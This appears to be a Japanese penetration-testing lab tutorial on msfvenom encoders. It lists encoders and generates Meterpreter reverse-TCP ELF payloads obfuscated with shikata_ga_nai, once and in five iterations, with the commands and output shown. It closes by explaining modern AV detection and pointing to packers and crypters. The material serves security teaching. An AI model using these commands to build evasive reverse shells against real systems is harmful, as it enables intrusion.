はじめに
サイバーセキュリティの分野において、ペイロードの難読化は、セキュリティソフトウェアによる検出を回避するために使用される重要な技術です。Metasploit Framework 内の強力なツールである msfvenom は、スタンドアロンのペイロードジェネレーターであり、ペイロードのエンコードにも使用できます。これにより、アンチウイルス (AV) システムによるシグネチャベースの検出を回避するために、その構造を変更します。
エンコーダーは、ペイロードの元のコードに一連の変換を適用し、単純なシグネチャスキャナーでは読み取れないようにします。ペイロードが実行されると、最初に小さなデコーダースタブが実行され、メモリ内で元のペイロードを再構築してから、実行をそれに転送します。
この実験 (Lab) では、msfvenom エンコーダーの使用に関する基本を学びます。まず、利用可能なエンコーダーを一覧表示し、次に人気のあるエンコーダーを選択してエンコードされたペイロードを生成し、複数のエンコードイテレーションを適用し、最後に、この技術が最新のセキュリティソリューションに対してどの程度効果的であるかについて議論します。
msfvenom --list encoders で利用可能なエンコーダーを一覧表示する
このステップでは、まず msfvenom で利用可能なすべてのエンコーダーを一覧表示することから始めます。これにより、ペイロードの難読化に使用できるさまざまなオプションの概要を把握できます。
まず、msfvenom を含む Metasploit Framework がインストールされていることを確認する必要があります。以下のコマンドを実行して、パッケージリストを更新し、インストールしてください。
sudo apt-get update
sudo apt-get install -y metasploit-framework
インストールが完了したら、msfvenom の --list encoders オプションを使用して、利用可能なすべてのエンコーダーを一覧表示できます。このコマンドは、ランク、名前、簡単な説明とともにエンコーダーのテーブルを表示します。ランクは、エンコーダーの信頼性と有効性を示し、excellent が最も高くなります。
ターミナルで以下のコマンドを実行してください。
msfvenom --list encoders
利用可能なエンコーダーの長いリストが表示されます。出力は次のような構造になり、各エンコーダーの名前、ランク、説明が表示されます。
Framework Encoders [--list encoders]
====================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/sh_char_code manual Shell Char Code Substitution Command Encoder
...
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
...
x64/zutto normal Ruby based x64 encoder
リストをスクロールして、さまざまなアーキテクチャや目的に利用可能なエンコーダーの多様性を確認してください。
x86/shikata_ga_nai のようなエンコーダーを選択する
このステップでは、最もよく知られているエンコーダーの 1 つである x86/shikata_ga_nai について学びます。このステップで実行するコマンドはありません。目標は、特定のエンコーダーが選択される理由を理解することです。
前のステップで生成したリストから、おそらく x86/shikata_ga_nai エンコーダーに気づいたでしょう。これはいくつかの理由で有名です。
- ランク:
excellentのランクを持っており、これは非常に信頼性が高く、エンコードプロセス中にペイロードを破損させる可能性が低いことを意味します。 - ポリモーフィズム: これはポリモーフィックエンコーダーです。つまり、適用されるたびに独自の復号コードを変更します。理論的には、これにより AV ソフトウェアがデコーダースタブの静的シグネチャを作成することがはるかに困難になります。
- 広範な使用: 長年にわたり、Metasploit で最も人気がありデフォルトのエンコーダーの 1 つであり、難読化について学ぶための古典的な例となっています。
その人気により、最新の AV によって頻繁にフィンガープリントが取られるようになっている(これは後で取り上げるトピックです)一方で、エンコードプロセスを実証するための完璧な例であり続けています。次のステップでは、このエンコーダーを使用してペイロードを難読化します。
-e フラグを使用してエンコーダーを指定してペイロードを生成する
このステップでは、ペイロードを生成し、それに x86/shikata_ga_nai エンコーダーを適用します。選択したエンコーダーを指定するために -e フラグを使用します。
簡単な Linux リバース TCP ペイロードを作成しましょう。このペイロードは、指定された IP アドレスとポートに接続を試みます。これをエンコードし、Linux の標準バイナリ形式である ELF (Executable and Linkable Format) ファイルとして保存します。
コマンドの構造は次のとおりです。
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>
-p: ペイロードを指定します。ここではlinux/x86/meterpreter/reverse_tcpを使用します。LHOSTおよびLPORT: ペイロードが接続バックする場所を知るために必要なオプションです。この例では127.0.0.1(localhost) を使用します。-e: エンコーダーを指定します。ここではx86/shikata_ga_naiを使用します。-f: 出力フォーマットを指定します。ここではelfを使用します。>: 出力をファイルにリダイレクトします。
次に、ターミナルで以下のコマンドを実行して、エンコードされたペイロードを生成し、encoded_payload.elf として保存します。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf
msfvenom は要求を処理し、最終的なサイズを含む生成されたペイロードに関する情報を表示します。
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes
これで、現在のディレクトリ (~/project) に encoded_payload.elf という名前のエンコードされたペイロードファイルが正常に作成されました。ls -l コマンドでその作成を確認できます。
ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-i フラグを使用して複数のエンコードイテレーションを適用する
このステップでは、イテレーション用の -i フラグを使用して、同じペイロードにエンコーダーを複数回適用する方法を学びます。理論的には、複数のエンコードレイヤーにより、ペイロードの検出がさらに困難になります。
これは効果的であるように聞こえますが、トレードオフがあります。各エンコードイテレーションは新しいデコーダースタブを追加するため、ペイロード全体のサイズが増加します。さらに、これによりセキュリティソフトウェアが検出できる繰り返しパターンが作成される場合があります。
同じペイロードに x86/shikata_ga_nai エンコーダーを 5 回適用してみましょう。以前のペイロードと比較するために、この新しいペイロードを multi_encoded_payload.elf として保存します。
以下のコマンドを使用し、-i 5 フラグを追加します。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf
msfvenom は 5 回エンコーダーを適用します。各イテレーションを示す出力に注目してください。
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes
次に、ls -l を使用して、単一エンコードペイロードと複数エンコードペイロードのファイルサイズを比較します。
ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf
ご覧のとおり、multi_encoded_payload.elf は、繰り返しエンコードプロセスにより、encoded_payload.elf よりも大幅に大きくなっています。
最新の AV に対するエンコーダーの効果について議論する
この最終ステップでは、x86/shikata_ga_nai のような基本的なエンコーダーの実際の効果について議論します。このステップは純粋に概念的なものであり、実行するコマンドはありません。
エンコーダーはかつて AV をバイパスするための非常に効果的な方法でしたが、次世代アンチウイルス (NGAV) やエンドポイント検出および応答 (EDR) システムのような最新のセキュリティソリューションに対して、その効果は大幅に低下しています。その理由は以下のとおりです。
デコーダーのシグネチャ: セキュリティベンダーは、一般的なエンコーダーがどのように機能するかを知っています。
shikata_ga_naiのデコーダースタブ自体が、よく知られたシグネチャです。多くの AV 製品は、デコードしようとしているペイロードに関係なく、このデコーダーが含まれているというだけでファイルをフラグ付けします。より多くのイテレーション (-iフラグ) を適用すると、このシグネチャがさらに明白になることがよくあります。ヒューリスティックおよび行動分析: 最新の AV は静的シグネチャだけに依存しません。ヒューリスティックを使用して疑わしい特性 (例:実行可能なメモリを割り当てようとする小さなプログラム) を特定し、行動分析を使用してプログラムが実行時に何をするかを監視します。メモリ内で自身をデコードし、その後リバースシェルを開こうとするエンコードされたペイロードは、容易に検出される非常に疑わしい行動です。
サンドボックスとエミュレーション: 多くのセキュリティ製品は、実際のシステムで実行される前に、疑わしいファイルを安全な仮想環境 (サンドボックス) で実行してその動作を監視できます。サンドボックス内で、AV はペイロードが自身をデコードできるようにし、その後元の悪意のあるコードを分析できます。
結論として、msfvenom エンコーダーを理解することは基本的なスキルですが、現代の環境でオプフスケーションのためにそれだけに依存することは、実行可能な戦略ではありません。高度な回避には、カスタムエンコーダーの作成、パッカーやクリプターの使用、および行動検出エンジンを特別にターゲットにしてバイパスする方法の採用など、より洗練された技術が必要です。
まとめ
この実験では、msfvenom エンコーダーを使用したペイロード難読化の基本を学びました。
以下の方法を習得しました。
msfvenom --list encodersで利用可能なすべてのエンコーダーを一覧表示する。x86/shikata_ga_naiのような一般的なポリモーフィックエンコーダーを選択し、その目的を理解する。-eフラグを使用してエンコードされたペイロードを生成する。-iフラグを使用して複数のエンコードイテレーションを適用し、ファイルサイズへの影響を観察する。- 最新のアンチウイルスおよび EDR ソリューションに対する基本的なエンコーダーの制限を理解する。
この知識は、ペイロード生成とマルウェア検出および回避のいたちごっこを理解するための強固な基盤を提供します。練習したテクニックは、プロフェッショナルなペネトレーションテストで使用されるより高度な難読化手法を探求するための出発点となります。


